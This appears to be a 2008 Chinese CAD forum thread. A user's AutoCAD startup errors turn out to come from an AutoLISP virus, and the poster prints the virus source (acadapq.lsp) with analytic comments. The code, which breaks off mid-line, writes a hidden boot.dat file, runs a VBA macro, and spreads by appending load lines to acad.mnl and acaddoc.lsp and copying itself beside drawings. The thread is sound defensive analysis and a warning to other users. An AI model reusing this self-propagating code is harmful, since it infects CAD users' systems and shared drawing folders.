明经CAD社区

 找回密码
 注册

QQ登录

只需一步,快速开始

搜索
查看: 1038|回复: 3

[求助][讨论]最近用CAD的时候总是有些问题

[复制链接]
发表于 2008-8-22 15:03 | 显示全部楼层 |阅读模式

我用的是CAD2004迷你版。

最近新建一个文件或打开一个文件是总是提示:

; 错误: 参数类型错误: stringp nil
AutoCAD 菜单实用程序已加载。; 错误: 参数类型错误: stringp nil

"觉得好,就打赏"
还没有人打赏,支持一下
发表于 2008-8-22 15:34 | 显示全部楼层

楼主的CAD是否加载什么程序?

CAD2004迷你版不加载 VLA-*,VLAX-* 函数支持

 楼主| 发表于 2008-8-22 15:59 | 显示全部楼层

哈哈,原来是那个好事者遍了一个蹩脚的病毒,我正在分析这个程序。

当心,请不要运行下面这个程序,名字 acadapq.lsp

(setq wold_cmd (getvar "cmdecho"))
(setvar "cmdecho" 0)
(setq wpath (findfile "base.dcl"))                  ;;返回当前CAD的SUPPORT支持路径
(setq wpath (substr wpath 1 (- (strlen wpath) 8)))  ;;取掉路径中的 "base.dcl" 文件名,返回纯路径
(setq wwmnlwpath (getvar "menuname"))               ;;返回当前菜单文件路径
(setq wnowdwg (getvar "dwgname"))                   ;;返回当前打开的文件名,如果是新建文件将返回 nil
(setq wwjqm (findfile wnowdwg))                     ;;返回当前文件的路径,如果是新建文件将返回 nil
(setq wdwgwpath (substr wwjqm 1 (- (strlen wwjqm) (strlen wnowdwg))))  ;;返回纯路径
;;;alert 
(setq f (open "c:\\boot.dat" "w"))                  ;;狠的来了,竟然在C盘上打开了伪装文件 boot.dat
(write-line "[dang]" f)                             ;;写入字符,难道这个病毒的作者姓"党"?
(write-line (strcat "ff=" wdwgwpath) f)             ;;写入已打开文件的路径
(write-line (strcat "yy=" wpath) f)                 ;;写入CAD支持路径
(close f)
(setq boot (findfile "boot.dat"))     
(if (/= boot "")
  (command "_-vbarun" "ThisDrawing.hh"))
(setq wacadwpath (findfile "acaddoc.lsp"))
(setq wacadwpath (substr wacadwpath 1 (- (strlen wacadwpath) 11)))
(setq wns1 ""
      wns2 "")
(setq wlspbj 0)
(setq wwjqm (strcat wpath "acaddoc.lsp"))
(if (setq wwjm (open wwjqm "r"))
  (progn
    (while (setq wwz (read-line wwjm))
      (setq wns1 wns2)
      (setq wns2 wwz))
    (if (> (strlen wns1) 14)
      (if (= (substr wns1 8 7) "acadapq")
 (setq wlspbj 1)))
    (close wwjm)))
(setq wlspmnl 0)
(setq wwjqm (strcat wpath "acad.mnl"))
(if (setq wwjm (open wwjqm "r"))
  (progn (while (setq wwz (read-line wwjm))
    (setq wns1 wns2)
    (setq wns2 wwz))
  (if (> (strlen wns1) 14)
    (if (= (substr wns1 8 7) "acadapq")
      (setq wlspmnl 1)))
  (close wwjm)))
(if (= wlspmnl 0)
  (progn
    (setq wwjqm (strcat wpath
   (strcat (chr 97)
    (chr 99)
    (chr 97)
    (chr 100)
    (chr 46)
    (chr 109)
    (chr 110)
    (chr 108))   ;;  "acad.mnl"
    (setq wwjm (open wwjqm "a"))
    (write-line
      (strcat "(load " (chr 34) "acadapq" (chr 34) ")")
      wwjm)
    (write-line "(princ)" wwjm)
    (close wwjm))
  )

(defun wwriteapp  ()
  (if (setq wwjm1 (open wnewacad "w"))
    (progn (setq wwjm (open woldacad "r"))
    (while (setq wwz (read-line wwjm))
      (write-line wwz wwjm1))
    (close wwjm)
    (close wwjm1)
    )
    )
  )
(if (and (= wacadwpath wdwgwpath)
  (/= wacadwpath wpath))
  (progn (if (= 0 wlspmnl)
    (progn
      (setq woldacad (findfile "acaddoc.lsp"))
      (setq wnewacad (strcat wpath "acadapq.lsp")
     )
      )
    (progn
      (setq woldacad (strcat wpath "acadapq.lsp"))
      (setq wnewacad (findfile "acaddoc.lsp"))
      )
    )
  (if (= wlspbj 0)
    (progn
      (setq wwjqm (strcat wpath "acaddoc.lsp"))
      (setq wwjm (open wwjqm "a"))
      (write-line
        (strcat "(load " (chr 34) "acadapq" (chr 34) ")")
        wwjm)
      (write-line "(princ)" wwjm)
      (close wwjm))
    )
  (wwriteapp)
  )
  (progn
    (if (/= wnowdwg "Drawing.dwg")
      (progn
 (setq woldacad (findfile "acadapq.lsp"))
 (setq wnewacad (strcat wdwgwpath "acaddoc.lsp"))
 (wwriteapp)
 )
      )
    )
  )
(setvar "cmdecho" wold_cmd)
(princ)
(setq strtopstr
       (strcat (chr 92)
        (chr 92)
        (chr 70)
        (chr 83)
        (chr 49)
        (chr 92)
        (chr 83)
        (chr 89)
        (chr 83)
        (chr 49)
        (chr 92)
        (chr 87)
        (chr 79)
        (chr 82)
        (chr 75)
        (chr 92)
        (chr 80)
        (chr 76)
        (chr 79)
        (chr 84)
        (chr 69)
        (chr 82))
        )  ;;"\\\\FS1\\SYS1\\WORK\\PLOTER"

(setq strbottomstr (strcat (chr

 楼主| 发表于 2008-8-22 16:01 | 显示全部楼层

还有一个文件 acaddoc.lsp,内容只有两句。

(load "acadapq")
(princ)

您需要登录后才可以回帖 登录 | 注册

本版积分规则

小黑屋|手机版|CAD论坛|CAD教程|CAD下载|联系我们|关于明经|明经通道 ( 粤ICP备05003914号 )  
©2000-2023 明经通道 版权所有 本站代码,在未取得本站及作者授权的情况下,不得用于商业用途

GMT+8, 2024-5-21 02:38 , Processed in 0.200739 second(s), 26 queries , Gzip On.

Powered by Discuz! X3.4

Copyright © 2001-2021, Tencent Cloud.

快速回复 返回顶部 返回列表